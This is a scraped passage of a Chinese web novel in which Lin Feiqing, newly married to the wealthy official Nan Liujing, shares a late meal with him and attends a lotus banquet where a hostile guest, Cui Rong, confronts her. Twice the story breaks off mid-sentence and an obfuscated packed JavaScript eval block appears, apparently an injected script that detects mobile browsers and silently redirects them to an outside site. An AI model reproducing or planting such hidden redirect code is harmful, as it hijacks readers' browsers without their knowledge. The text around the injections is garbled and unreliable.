和她曾经在荷花村树下看到的情景没什么不同。
人一闲下来,就很容易想东想西,也就是这时,林霏清才意识到,中午南流景离开后,自己其实是有些不高兴的。
但这不高兴来得毫无缘由。
归根结底,是南流景二话不说饮尽了她送去的药,让林霏清生出了些“或许他会答应”的错觉。
但错觉只是错觉,林霏清很小便知道人与人之间应保持该有的距离。
先前南流景对她太过客气使她模糊了那条界限,好在发现得早,日后可不能这样自以为是了。
她应该把自己放在正确的位置上。
……这样,应该就好了吧?
林霏清眨了下眼,眼前树叶也应和般微微晃动。
明明已经想清楚,但心情并未好起来。
相反,理智劝她不要不知所谓,情绪却在持续走低。
到底在不高兴些什么呢?
林霏清长叹口气,既然暂时调节不好,那便算了吧。
反正只是不高兴,又死不了。
这样想着。
眉心忽然点上一抹冰凉。
林霏清倏然抬眼。
南流景不知何时出现在她身后,低下身,清俊的面容占据了她全部视线。他长发及腰,俯身时发丝从身侧落下,像一道屏障,将世界与他们分隔开来。
他没有收回手,指尖落在眉心像一片雪。
林霏清怔住,愣愣地看着南老板。
万籁俱静中,一点动作都被放大。
南流景长睫微动,视线缓缓上移,对上林霏清的眼。
平淡又静谧。
让她想到银白的月光洒在麦田上。
南流景指尖稍稍用力。
“愁眉苦脸。”他道,“吃饭吗?”
风马牛不相及的两句话。
林霏清有些茫然。
“我刚吃过。”她道。
南流景唇角扬起一个及其细微的弧度。
“没事。”他放低了声线,像在诱哄,“我请你。”
-
直到看南流景老练地撬开灶房的锁,林霏清仍对当下情况有些反应不来。
且不说为何在自家吃饭要这样偷偷摸摸,南流景这一手撬锁的本事是从哪里习得的?
南流景将取下的锁头随意搁置一旁石台之上,回头见林霏清一脸复杂,微微顿了顿,道:“厨子都回去了,总不能现在再把他们叫回来。我也懒得遣人去寻灶房钥匙。”
他迈进屋子:“进来吧。”
灶房内空无一人,锅碗瓢盆收拾得整整齐齐,放眼望去赏心悦目,却并不见什么吃食。
南流景点燃烛台,冲角落小凳扬了扬下巴:“坐那歇会。”
林霏清看了看椅子又看了看南流景,心中浮现个不可置信的猜测。
他不会是要自己做饭吧?
林霏清不赞同什么君子远庖厨的说法,但她的确,想象不来南流景动手做饭的场景。
尤其是看南流景穿着叫不上名的名贵锦衣抱薪生火,那股违和感更是空前的强烈。
“要不我来帮您……”
余下的话卡在喉间。
出乎意料的,南流景生火的动作很熟练,与他撬锁一般,仿若做过千万遍。
炉灶燃起,屋内登时暖和起来,南流景站起身,偏头看向有些呆滞的林霏清:“下午吃了什么?”
林霏清讷讷道:“素面。”
南流景点头:“行。”
而后林霏清便看南流景撸起袖子,舀一勺面粉加水揉面。
看他的确是老手,林霏清便也放下心,她坐到一旁小凳上,看南流景烧水择菜,洗净切丝。
好看的人干什么都是好看的。
林霏清意识到这一点。
明明是最日常的动作,由南老板做出,却格外优雅从容,仿佛他手里拿的不是萝卜,而是,金子?
……
林霏清觉得自己这想法有些荒谬。
不过也想起另一件事。
“我看您轮椅的软垫,也是金线绣的。”
南流景正低睫将萝卜切成丝,原本散落的长发松松地束在身后,随着他的动作轻轻晃动。看起来格外贤惠。
他应了声:“是啊。”
“笃笃”的切墩声中,林霏清想起那次与南流景去酒楼,他对于金线绣的软垫分外嫌弃。
那是她第一次知道,原来世上有些人,会以金做线,甚至,还有些人会嫌弃金线粗糙。
林霏清继续问道:“那您先前怎么会嫌弃酒楼的坐垫呢?”
南流景的声音很不屑:“绣的不好,白白糟蹋了那些金子。”
话里话外,都在表明,他轮椅上的垫子才是极好的。
林霏清:……
说话这会,南流景已经备好菜,恰水滚,先舀了一杯搁置林霏清手边:“凉会再喝。”
“……好。”
南流景转身去做汤底,听见这一声分过来缕目光。
很快素面的鲜香便弥漫在整间灶房中,热腾腾暖烘烘。
林霏清注意到面条盛出后,南流景还抽空给自己煮了个蛋。
“给你下点?”南流景问她。
林霏清捧着水杯摇摇头:“您吃吧,我不饿。”
“行。”见她坚持,南流景也不勉强,又从角落抽了个小凳子,高大的身形蜷在上头,有几分滑稽的可爱。
这个时候的南流景没有先前在酒楼那般矫情,一口面一口蛋吃得很快,吃相倒是一如既往的好。
林霏清看着他,没忍住叫了他一声:“南老板。”
南流景抬眼,微微扬了扬眉。
林霏清抿唇,有话想问,但最后,也没好意思问出口,低头喝了口水,胡乱扯了个话题:“您说请我吃饭的。”
说话间盯着她手中的水杯,意思很明显。
明明是请吃饭,临了却只请了一杯水。
南流景夹面的动作顿住:“那我给你煮一碗?”
林霏清没抬头:“我真不饿。”
“……”
灶房内陡然陷入一阵诡异的安静。
只有炉膛柴薪燃烧的细微声响。
片晌。
“呵。”
一声尖锐的冷笑。
南流景似笑非笑地看着她:“你的意思是,我给你煮,你不要,回过头来还要怪我饿着你?”
听起来,是有点不讲道理。
这下林霏清自己也觉得好笑,所幸她低着头,南流景应该看不见。
才生出这个想法,却听南流景道:“不许笑。”
被看见了。
林霏清立刻收敛。
“……”南流景目睹她一瞬间变化表情的全过程,稍稍愣住,努力抿唇忍耐片刻,最终还是没忍住,泄气般笑出声,“算了,想笑就笑吧。”
……
吃完南流景又利落地将灶房收拾干净。
有了先前撬锁做饭那一幕,林霏清再看到他做什么都不意外了。
而后两人出门,上锁的时候,南流景突然慢悠悠道:“方才我给你递水。”
“嗯?”
“你没道谢。”
林霏清微微怔住,她记得她道谢了呀,没有吗?南流景因为这个生气了吗?那现在道歉来得及吗?
“咔哒”一声门锁扣上。
南流景转身,看见她微凝惶然的神情,轻轻拍了拍她的脑袋:“又没凶你。”他语气有些玩味,“只是,没想到你还挺讲诚信。”
林霏清尚未回过神来,听到这句话反应了一会。
没想到,讲诚信?
她以前在南流景眼中是个不讲诚信之人吗?
林霏清眨了眨眼,却也看出,南流景并未因为她没道谢而生气。
但既然是诚信,必然是先前承诺过的事。
到目前为止,他们两人之间,除了金玉楼的契书与婚约外,唯一的承诺便是……
林霏清的双眸骤然亮起,欣喜道:“您答应了?”
这话没头没尾,但南流景瞬间理解她了在说什么。
这是第一次,林霏清在他面前,表露出如此明显的欢喜。
哪怕是送她金子,成婚,抑或从那个家逃离,都没有他答应一件小事让她高兴。
好奇怪。
南流景看着她,心底升起疑惑。
或许她是担心自己的病会影响到她?
但其实不会。
不论他吃不吃药,康不康健,他原本打算为她做的事都不会变,不用担心这些事。
南流景觉得他该说清楚,好让林霏清安心。
可看她这么高兴,南流景又觉得,不说也没事。
既然他身子好不好都对她没有影响,那让她高兴些也无妨。
南流景缓缓收回视线:“……嗯,我答应了。”
-
白日里,南流景的事情其实没处理完。
他只是抬头看到夜已黑,突然觉得自己该回去一趟。
回去便看见林霏清躺在藤椅上,看着看着,肚子就饿了。
现在填饱了肚子,回到书房,药已熬煮好呈上。
往日南流景是不理会的,毕竟已经退了热,没必要再喝药,但如今已许下承诺,就该履行。
喝药的时候,脑中突然出现个念头。
今天好像,按时吃了三顿饭。
……莫名其妙。
南流景收回思绪,喝罢药将碗搁置一旁,处理好政务,这会才有功夫看账册。
银元上前,安静地将药碗收走,回来后平淡禀报:“赵福一家已经拿到钱了。”
南流景头也未抬,算盘打得噼啪作响:“怎么拿到的?”
银元:“我们的人佯装钱袋掉落,他们瞧见后,便据为己有。”
南流景对着账册算好数字,又提笔在一旁记录了些什么:“那医师说治疗赵栋要多少钱?”
银元:“八百两,钱袋里只搁了八百三十四两五钱。”
“……”南流景气笑了,“八百两的诊金,他们开口就要两千两啊?”
银元垂着眼,并不作声。
南流景也就嘲讽了这一句,而后又低下头看账册,再开口,语调却冷了些:“好好提点治疗赵栋的医师,收了我的钱,得知道什么该做什么不该做。”
那样的人家,干脆断了,也省的哪家姑娘嫁进去受苦。
银元低身:“属下明白。”
-
七月初,赵书源一路奔波,终是平安抵达川阳书院。
常与他通信的先生早早准备着,一听人已至便急吼吼赶到大门,正巧碰上赵书源提着行李在杂役指引下往里走。
“来啦。”虽说二人时常通信,但这却是姜先生第一次见到赵书源,见他即便才经过一番舟车劳顿,却依旧风度翩翩形容有礼,满意极了,“路上辛苦了。”
赵书源亦是第一次见他这位纸上老师,忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814485|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放下行李,冲姜先生行了个大礼:“学生见过老师。”
“欸,不用这么多礼。”姜先生为人直率爽朗,并不在意这些虚礼,“不过你先前不是在信上说还要带来一位姑娘,托我在书院为她寻个差事,怎么不见人呢?”
赵书源低身取行李的动作微微僵硬。
他不是傻子,就算先前被蒙蔽头脑,十多天的路程也足够他想清楚。
为何林姑娘伤势惨重,为何会突然答应嫁给南流景,加上先前对赵福一家早有预料,很容易便拼凑出来事情起末。
赵书源其实,很为林姑娘能离开而高兴。
但他放心不下的,是南流景这个人。
赵书源不了解他,却也知道他是很有钱有势一人,这样的一个人,为何会向林姑娘求娶,他是不是使了什么花俏,这样的人会好好待林姑娘吗?
他现在唯一后悔的事,是他清醒得太晚,没有在离开之前,多打听些南流景的事。
赵书源提着行李直起身,笑了笑,平静道:“她已经嫁人了。”
姜先生没料到这个答案,有些怔愣。
他还以为……
不过姜先生很快反应过来,迅速略过这个话题:“来,我带你去你的寝室瞧瞧。”
赵书源微微颔首,跟在姜先生身后,两人一边闲谈一边往寝室走。
只是才经过前院一个拐角,却有人匆匆从拦住他们。
“山长要见赵学子。”
赵书源与姜先生面面相觑。
山长?川阳书院的山长?
这方人物怎么会想见他?
来人态度温和,却很坚定,再度向两人躬了躬身:“还请您与我来。”
不好让山长久候,赵书源无法,暂将行李放在一边,跟着来人离去。
这位山长在川阳书院任职前为世家之子,不愿为前朝所用归隐田园,乱世诸多势力以功名利禄为礼请其出山,无一不败落而归,没想到最后竟到川阳书院任职。
赵书源也是第一次见到这位传说中的人物。
山长比他想象中要和蔼许多,见到他先是关心了下路途辛不辛苦,又考校了他几个问题,而后便让他离开了。
前后不到一盏茶的时间。
顺利却又短暂得古怪。
自始至终,赵书源都没搞明白,山长是怎么知道他一个小小学子,又是为何要叫他来此的。
不过这点疑问也很快在日复一日的学习中消失殆尽,在书院的日子忙碌又充实,先生负责同窗有爱,赵书源静下心来,整日只有精进学习一件事。
只除了一个小小的隐秘的信念。
他要早日考回京城。
-
七月十五这天,林霏清将上月制成的口脂送到了金玉楼。
再见到林霏清,她已从寻常农女变成了老板娘,春湘一时有些复杂,不知该用什么态度招待她。
到是杜管事依旧稳重,对待林霏清的态度与先前没什么不同,客气有礼地将她引进茶室,照常检查了她的口脂,按照契书上的价格,将本次交易银钱的一半交给了林霏清。
只是没想到,林霏清在拿到银钱后,只收走了其中五分之一,剩下的又递给了杜管事。
“我记得您是知道我家住处的。”林霏清轻声道,“这些钱,剩下的一半,还有之前我存放在这里的,麻烦您悉数送到荷花村我舅母手上。”
她低声道:“我现在还不适合见到他们。”
杜管事愣了愣,没有直接答应,而是委婉地提醒她:“南老板可能会过问您的事,要不您先与他商量一下?”
“……”
林霏清微微抿唇,看向桌上码的整整齐齐的银两。
她明白杜管事的意思。
从前她与南流景没什么关系,想要把钱给舅舅舅母也就罢了,如今她成了南流景名义上的妻子,就算想把钱给他们,也不该借着杜管事的手,不然南流景问责下来,或许会牵连杜管事。
是她鲁莽了。
林霏清从前没有想到这一点,如今想到了,自然不会再逼迫杜管事。
她不再纠缠,将银钱收起,道了声抱歉:“是我考虑不周,麻烦您了。”
杜管事忙道:“您客气了。”
林霏清站起身:“那,没什么事,我就先走了。”
从金玉楼出来,坐在车上,林霏清微微叹息。
她原打算把每月挣得的钱留十分之九给舅舅家,以免他们再上门打扰南流景,余下的便攒着用来还欠南流景的诊金及那两千两。这场婚事要持续三年,时间还早,总能攒到。
现在她得重新想个办法,把钱送到舅母手里。
可她又的确不想见到他们。
怎么办呢?
回到南府,林霏清下车,习惯性地问了一句门倌:“南大人回来了吗?”
不出意料得到了否定的答案。
虽说成婚第二日南流景答应她会按时吃药,但后头接连几日都没见到南老板。
起初还早出晚归,后头直接在外面过夜。
直到询问金太医,得知南流景已康复,林霏清这才放下心,却还是很难见到他。
也就是这段时日林霏清才知道,南流景不仅是个商人,手下有多家产业,同样还在户部任职,另管燕都铸银司。
林霏清甚至是最近才知道燕都竟然有铸银司。
这么多事,也难怪南流景忙到连回家的功夫都没有。
但林霏清其实是有些羡慕南流景的。
从前她整日奔波,从睁开眼一直忙到晚上躺在床上,现在清闲下来,才知道无所事事这么磨人。
可她也不知道自己能做些什么,想做些什么。
她不再是从前的农女,却也没有进入一个新的身份。
林霏清回了主院,用罢晚膳,打算再去庭院坐坐,然后到点去睡觉。
日复一日,枯燥乏味。
却见本该去用膳的秦柳手中持着薄薄一封书信前来。
秦柳行了个礼,道:“夫人,这是太仆寺家胡小姐送来的请柬,”她将请柬递到林霏清面前,“请您七日后赏脸去胡府所办的赏荷宴。”
林霏清伸手接过那封烫金请柬,打开,除了“林夫人”、“荷花”、“七月二十二”外没看懂一个字。
“……”她默默合上请柬,抬睫看向秦柳,轻咳一声,“胡小姐?”
秦柳:“胡家是前朝臣子,家主为太仆寺卿,当今即位后长子任户部郎中,这位胡小姐便是其妹,今年十六。”
听到这,林霏清大概明白了胡小姐为何会请她参宴,多半是因着南流景与胡郎中同在户部任职,关系较近。
既然如此,左右这几日闲来无事,能找件事情做,也挺好。
林霏清将请柬妥帖收起,笑道:“麻烦你告知胡小姐,我会去的。”
20. 第 20 章
起初对于这场赏荷宴,林霏清并无什么感觉,但真到了前一天,又有些睡不着。
七月二十二那日,天尚未亮,她便睁开眼,秦柳进来服侍上妆时,便见林霏清已洗漱罢,连衣物都已换好,正对着镜子梳头发。
秦柳无奈:“夫人,今日不穿这件的。”
林霏清动作一停,低头看看自己身上的衣物,又看向秦柳,有些疑惑:“这件怎么了吗?”
秦柳行至林霏清身后,伸手将她刚绑起的发带解开,重新拿起梳子通发,温和道:“宴席还有好一阵呢,您别急,还是我来帮您吧。”
自己在这些事上的确不如秦柳擅长。
林霏清依言松手,却在看到镜子中秦柳好像,很兴奋的样子?
“那多谢你了。”片息,林霏清轻声道。
三刻钟后,头发梳好,秦柳左看右看,满意得不得了。
林霏清也松了口气,秦柳动作时她一动不敢动,腰背都酸了,她刚想起身,秦柳却按住她的肩膀:“您别乱动,还要上妆呢。”
林霏清:“……好。”
花了将近一个时辰,总算是都收拾好了。
林霏清看着镜中的自己,虽说疲累,却也不得不承认,这一身要比她自己挑的那套好看多了。
整一套并不浓郁,衣裳色彩清亮干净,发髻头饰一脉简约,清丽出尘。
浑身上下唯独唇间一点艳丽,醒目得紧。
秦柳笑眯眯道:“夫人平日还是要多打扮一下,这样多漂亮。”
不,平日里还是不要了。
林霏清揉着腰,哭笑不得。
请柬上说宴会辰时正刻开始,林霏清用罢早膳,登上前往胡府的马车。
不多时抵达胡府,与南府比起,胡府看起来要低调许多,只一进去才发现里面别有洞天。
花木葳蕤假山石壁,一步一景,自前门至荷塘由一条活水连接,却不见蚊虫,明明盛夏却凉爽至极。
荷塘四面亭台楼阁,已有数位女客聚集于此,零零散散说笑玩乐。
引路侍女将林霏清引至一座凉亭中,道:“我家小姐现脱不开身,还请您在此稍等片刻,招待不周还请夫人见谅。”
林霏清笑:“无妨,我自便就是。”
侍女又一行礼后退下。林霏清好奇地打量四周,忽地听闻池面上一阵笑声,仔细瞧去才见接天莲叶中一蓬小船,几位姑娘在其上划船喝酒。
她亦觉得有趣,对秦柳道:“我记得咱们府上也有小船,得了空咱们去……怎么了?”
秦柳的脸色有些阴沉,明明上午还挺高兴的样子。
听见林霏清问,秦柳稍稍收敛,只是语气仍有些愤愤:“这胡家也太不知礼了。”
不知礼?
林霏清眨眨眼,转向她:“为何这样说?”
秦柳左右瞧了瞧,见无人,俯身低语:“您第一次在京中参宴,从前也未和这些官家小姐们见过面,身为主人家,引见介绍是应有的责任,如今却只打发个侍女来,岂不是成心怠慢?”
林霏清倒没想到这一点,细想之下颇觉有理,有些惊叹地看着秦柳:“好厉害啊,幸好你与我一同来了。”
“……”秦柳一愣,怎么也未料到夫人是这般反应,一时怨气下去了三分,轻咳一声,“那,咱们要回去吗?”
胡家既然如此不懂事,也别怪夫人给他们难看。
对于胡家的怠慢,林霏清并不气恼,但人家不欢迎她,她坐在这里便觉得理亏得很。
而且,她想起从前,父亲便被征兵带走再也没回来,母亲一人抚养她,忙于生计,早早便病逝了。
一家人,一荣俱荣,一损俱损。
在外头她便是南府的一份子,若表现得太过软弱,连带着会影响到南流景。
林霏清考虑了下,道:“直接走不太好,稍微待上两刻钟,见到主人家再走吧?”
前几天她赚得十两,趁着时候还早,可以请秦柳好好吃一顿。
秦柳点头:“好。”
正说着,却听得凉亭下方有人声靠近。
这凉亭地处假山腰上,上下只有一条小道可行,林霏清向那路口看去,便见一群侍女簇拥着两位姑娘沿着小道上来。
林霏清不认得京中人,不知来者是哪家小姐。
几人对上视线,姑娘们的说笑停下,安静片刻,个高的那位盯着林霏清率先开口:“我还以为这亭中无人,没想到竟是慢了一步。今日第一次见,不知是哪家小姐?”
她一边说一边继续往上走,身后一群侍从跟在身后,看起来颇有阵仗。
林霏清从小便听舅母教导,报上姓名时得站起身,此刻也不例外,正欲开口,却听得秦柳在身后及其细微地轻咳了声。
到嘴边的自我介绍便咽了下去。
秦柳不卑不亢道:“这位小姐,在问旁人姓名时,不得先自报家门吗?”
“是我唐突了。”那姑娘笑道,脚步不停,“我名崔容,家父乃光禄寺卿。”
话落,崔容正好踏上平台。
林霏清清清楚楚看到,这位崔姑娘唇角笑意突然掉了下去。
崔容看着她,缓缓道:“啊,原来是林夫人。”
笃定的语气。
是怎么认出她的?
林霏清不动声色地错开视线,不知为何,总觉得这位崔姑娘看她的眼神,不太让人舒服。
“崔小姐好。”林霏清打了声招呼,不欲在此多留,“既然崔小姐想在此处赏荷,我便不打扰了。”
崔容身旁个头较矮的姑娘出声留她:“夫人不若与我们一同吧?”
她生的圆脸杏眼,不说话时面上也有着盈盈可亲的笑意,一袭粉衣,娇俏可爱。见林霏清向她看来,落落大方道:“林夫人好,我叫宋谣。”
她态度和善,林霏清不由对她生出几分好感,正欲开口,却听得崔小姐冷嗤一声:“谣谣还是别为难林夫人了,林夫人是何等人物,恐怕只有金子打的荷花才能入她的眼。”
林霏清微微抿唇,她今日是第一次见这位崔小姐,实在不知她这尖锐态度是从何而来。
但她习惯了退让,既然崔小姐不喜欢她,那她躲着就是了。
林霏清没理会崔小姐的讥讽,对上宋谣微微担忧的目光稍稍笑了笑,而后便带着秦柳沿着那条小道下去。
顾及着待会胡小姐可能回来这里找她,林霏清没走太远。
秦柳跟在她身后,看着她有些心疼:“那位崔小姐也太过分了!”
反倒是林霏清开口安慰她:“别生气啦,我没在意。”
相比从前在舅舅家,这位崔小姐的话和蚊子叮没什么区别。
她听过许多更肮脏恶毒的句子。
秦柳仍有些气恼,可看夫人当真没有将方才的事放在心上,也只能低声道一句:“您好性子。”
林霏清笑眯眯的:“去吃点东西吧,早晨忙着帮我梳妆,你肯定没吃多少。”
宴席还未开始,荷塘四周摆了酒水点心,供宾客垫垫肚子,助兴赏荷。
林霏清挑了几样精致的点心悄悄拿给秦柳,秦柳本打算推拒,但肚子很没眼色地叫了起来,她脸一红,没好意思再拒绝,由林霏清带着躲在花木后小口吃起来。
她吃得香甜,林霏清看得也高兴,正想着要不要再拿点喝的,却听得有人在寻她。
多半是胡小姐现在得了空,遣人来见她。
拍拍秦柳的手臂,示意她慢点吃,林霏清转身回到荷塘附近。
寻她的人果然是方才引路的侍女,见到她忙迎上来:“您原在这里,方才我家小姐有事,实在怠慢,还请您在此处稍等片刻,小姐稍后就来。”
林霏清点头,那侍女便转身离去。没等多久,秦柳刚吃完回到她身旁,就见方才侍女引着一位姑娘朝她这边来。
想着,应当就是胡小姐。
先前已知道这位胡小姐并不欢迎她,看着远处的人影越来越近,林霏清的心跳也逐渐加快。
她实在是不习惯与人对抗。
别慌,打个招呼,随便找个借口就能离开了。
走近,是一位肤白娴婉的小姐,衣装讲究,却并不惹眼。
胡小姐停在林霏清面前,轻轻行了一礼:“林夫人好,让您久等了,实在是我的不是,还望您见谅。”
说话也细声细气,自始至终低垂着眼,比林霏清想象中要友善得多。
林霏清预先打好的腹稿全然说不出口,忙道:“没事没事,我也没等多久,您不必介怀。”
许是因为她好说话,胡小姐微微笑了笑,飞快地看了她一眼:“多谢您体谅,待会宴席……”
她突然停下,盯着林霏清的脸,愣住。
林霏清被这直勾勾的目光弄得有些不好意思,过了一会实在受不了,轻咳一声,微微偏过头去:“胡小姐,怎么了吗?”
胡小姐这才回过神来,慌忙收回视线,面色微微发红:“没什么,就是觉得,您,有些眼熟。”
说话间,又悄悄瞄了林霏清一眼。
……好奇怪的小姐。
不过似乎并非想象中那般对自己有敌意。
那,还走不走?
林霏清一时有些犹豫。
却不想胡小姐突然凑近,低声道:“夫人,要不您今日先回去吧。”
嗯?
主动赶人离开吗?
林霏清有些讶然,可看胡小姐的样子,又不像是因为讨厌她而让她离开。
更像是,有什么难言之隐。
林霏清问道:“是出了什么事吗?”
胡小姐看了她一眼,咬了咬唇,有些纠结,片晌,细声道:“其实,并非是我请您来的。”
这话是什么意思?
林霏清微微皱眉,有些不解。
胡小姐慢慢道:“这赏荷宴虽说是以胡家的名义举办,但具体如何营办,请什么人,都是京中几家小姐共同商议的。”
“想必您也看到了,今日赏荷宴,来者大多为未出阁的小姐,成婚女子,只有您一个。”
她声音虽低,但条理清晰,林霏清很快明白她的意思。
“那是谁邀请我的?”林霏清问道。
她初来京城,谁都不认识,把她请过来又为了什么呢?
胡小姐先前已经说了那么多,再隐瞒也没必要,她没多犹豫,道:“崔容崔小姐,您应当不认得她,听说她长兄先前已打算到铸银司任职,但不知怎么了,最后又没去成。”
林霏清知道的京中官署不多,铸银司正好是其中之一。
南流景如今就是统管铸银司的。
林霏清语调微沉:“崔小姐之兄,是因为南老板的缘故未能到铸银司任职的吗?”
话落,她才注意到自己下意识又称呼了“南老板”,好在胡小姐并未在意,只微微摇了摇头:“具体情景我也不知,但容儿请你来,多半是因为此事。”
她的语气微微急切:“所以,夫人,您还是先走吧。”
不论崔容请她来是为什么,但既然有争执的风险,便注定了这场宴会不会愉快到哪去。
胡小姐是好意,加上林霏清也的确不冒险,略略思考后,便点头同意了胡小姐的说法。
一旁安静的秦柳突然盯着某一处,声音微颤:“夫人……”
不远的女贞树下,崔容站在那里,死死攥着手中锦帕,林霏清抬眼,正好对上她怒意翻滚的双眸。
“胡挽月!”崔容一字一顿,“算我看错你了!”
胡小姐一惊,忙退开与林霏清之间的距离,看向崔容急切道:“你听我解释……”
“解释什么?”崔容打断她,“我当你是朋友,才把我家里的事告诉你,可你呢?转头就告诉旁人?”
崔容说着又瞪向林霏清,恶狠狠道:“还是这个人!”
林霏清:……
说罢,崔容拂袖而去,胡小姐忙去留她,两人推搡起来,林霏清见状,暗道不好,立刻上前阻拦,却还是慢了一步。
崔容试图挣脱胡小姐拽着她衣袖的手,却不留心错手推了胡小姐一把,连带着自己也失了平衡。
好在胡小姐身边跟着的侍女反应快,稳稳当当扶住了她。
崔容却没有这样的好运,地上铺了防滑的石子,若跌下去,怎么着也得破层皮。
眼见她就要扑到地上,林霏清迅速抓住她的后领往回一拉,另一只手揽住她的后腰,稳住她的身形。
事情发生得太快,周遭人还未反应过来,看清时便见侍女与林霏清各自扶了一人。
崔容回过神来,意识到自己闹脾气还差点把自己弄伤,一时又羞又恼,顾不上自己此刻靠着林霏清才能站稳,怒道:“你松开我!”
林霏清眨了眨眼:“当真?”
崔容咬牙:“快点!”
林霏清无法,只好依她所言,松开了手。
下一瞬,只听“啪嗒”一声,崔容结结实实跌坐在地。
四周瞬间安静下来。
连林霏清也呆住了。
许是太过突然,也可能是从未想过竟然有人敢如此对她,崔容第一反应不是起身,而是愣愣地看向林霏清:“你干什么?”
林霏清还以为崔容是站稳了才叫她松手,未想到造成这幅情景,忙向她伸出手:“先起来吧。”
周遭不知是谁,没忍住,“噗嗤”笑出声。
崔容面色涨红,咬牙,挥手拍开了林霏清的手。她的侍女终于赶来,上前将她扶起。
怕摔出什么好歹,胡小姐忙差人带崔容下去检查,临走前,崔容还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821402|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恨恨瞪了一眼林霏清。
胡小姐叹息,对林霏清道:“容儿她心不坏,还请您多多包涵。”
林霏清无奈道:“我不介意。”
只是崔小姐或许会因此记恨上她。
事情到这般地步,林霏清自知再留在这里也不合适,看着仍有些不安的胡小姐道:“今日我就先告辞,实在是对不住,将您的宴席弄成这样。”
胡小姐摇摇头:“我送您吧。”
她吩咐侍女遣人将南府的马车牵出来,与林霏清一道往正门走去。
出了府门,却见除了来时的马车,还停着另一辆。
两辆车壁上皆刻了南府纹样。
林霏清脚步微顿,还未想清楚,便看车门打开,一位身着官服的陌生男子从马车上探出身来。
这是谁?为何会坐南府的马车?
身旁胡小姐欢喜道:“哥哥。”
林霏清恍然,再仔细看去,的确能看出此人与胡小姐面貌上有几分相似。
所以,这位就是与南流景同在户部任职的胡公子了吗?
这一会,此人已经从马车上下来,先是冲胡小姐微微笑了笑,又看向林霏清:“这位是……”
胡小姐介绍道:“这位是南大人之妻,林夫人。林夫人,这位是我长兄。”
“胡大人好。”林霏清先曲了曲膝。
她原本不知该如何行礼,但收了请柬后便紧急托秦柳教导了番,如今做出来,倒也不难看。
胡公子同样回了一礼:“林夫人安。”年轻的郎君,说话时带着笑意,唇角梨涡若隐若现,“今日府上办赏荷宴,宴席尚未开始,夫人这就要走了吗?”
林霏清被问得一噎,总不能说她弄摔了崔小姐,现在正要跑。想着要不拿个“有事”打发掉,不远处的马匹却打了个响鼻。
不轻不重,正好能叫他们听到。
胡公子愣了愣,旋即笑道:“我说南大人今日怎么突然要送我回府,既然如此,我也不强留了,您路上小心。”
那马车上果然是南流景。
不知南流景为何要送胡大人回府,但肯定不是胡大人想的那样。
林霏清很笃定。
南流景小半个月未回府,根本不知她在这里。
林霏清看着面前两辆车,不知该上哪一辆。
在外人面前他们是夫妻,分开坐两辆车未免有些奇怪。
可万一南流景没打算回府,她上车岂不是耽误了他的正事?
略微犹豫期间,车帘微微掀开,露出南流景半边苍白的面容。
对上视线,平淡又清浅。
许久没看到这双眼,林霏清一时有些恍惚。
随即便看到,那双眼,轻轻地眨了一下。
明明没有交流,但林霏清却好像被莫名鼓励了下。
她上了车,坐在南流景对面,直到马车开始前进,这才后知后觉地问:“您是让我与您一起的意思吧?”
南流景一手支颌,看着书案上的奏章,闻言掀起眼皮,没多思考便吐出三个字:“不是哦。”
林霏清:“……”
那她下去?
“说笑的。”南流景拉长了音调,视线又落回奏章上,声音里是藏不住的疲累,“玩得高兴吗?”
林霏清还未放松的心又紧绷了起来。
她不该惹事的。
“对不起。”片晌,林霏清低下头,轻声道。
闻言,南流景挑眉,撂下手中奏章:“怎么了?”
-
另一边,目送着车驾远去,胡挽月与胡朝一道返回府内。
看着神思不宁的妹妹,胡朝关心道:“不是好奇南大人娶了何人,今日见着了,觉得如何?”
胡挽月抿唇,其实她在林夫人面前,不算全然说了实话。
请柬是容儿送的,她知道容儿并非善意,可她没有拦。
但看到林夫人的一瞬间,胡挽月就后悔了。
肌肤莹润,骨肉相称,眉眼素净,似工笔描绘,面上妆点不多,唯有一点唇红润饱满,吸得人挪不开眼。
惊为天人。
在林夫人之前,只有第一次见南大人她才有这样被惊艳的感觉。
胡挽月垂下眼,小声道:“林夫人,很好看。”
-
林霏清惴惴不安地说明了方才宴席上发生的事,一时亦有些后悔。
明明身份不合,为何还要来参加这类官家宴席?
现下惹出这种事,不知要给南流景带来多少麻烦。
“事情大致就是这样。我想着,日后找崔小姐赔礼道歉才好。”林霏清说罢,紧张地等着南流景回应,却半晌没听到他开口。
她没忍住抬睫,正对上南流景有些复杂的神情。
糟了,这副表情,果然她闯下了大祸,而且不是简单赔礼道歉就能解决的。
林霏清有些绝望。
“还不行是吗?”
其实以前也有类似的事。
六七岁的时候,她用狗尾巴草编了只兔子玩,村里一个小孩看见跟她要,她不给,两人就吵了起来,闹到最后动了手,她身上受了伤,那家小孩脸上挂了彩。
那小孩的娘亲就来舅舅家要说法。
她一开始其实是不怕的,总觉得自己有理,大着声音在院子里和那家大人争辩。
振振有词的,那家大人都快气疯了,嚷嚷着要舅舅赔钱。
她还挺得意,想着自己真厉害。
然后,不记得是舅舅还是舅母,往她身上踹了一脚。
等她从地上爬起来时,房门已经彻底关上了,剩下她和那家大人站在院子里。
瞬间她的脑子一片空白,一股前所未有的恐慌席卷了她。
那家大人见状也是愣住,回过神来也没好意思再吵,只让她道歉。
这次林霏清没有再争辩,乖顺地道了歉。
但门一直没有开。
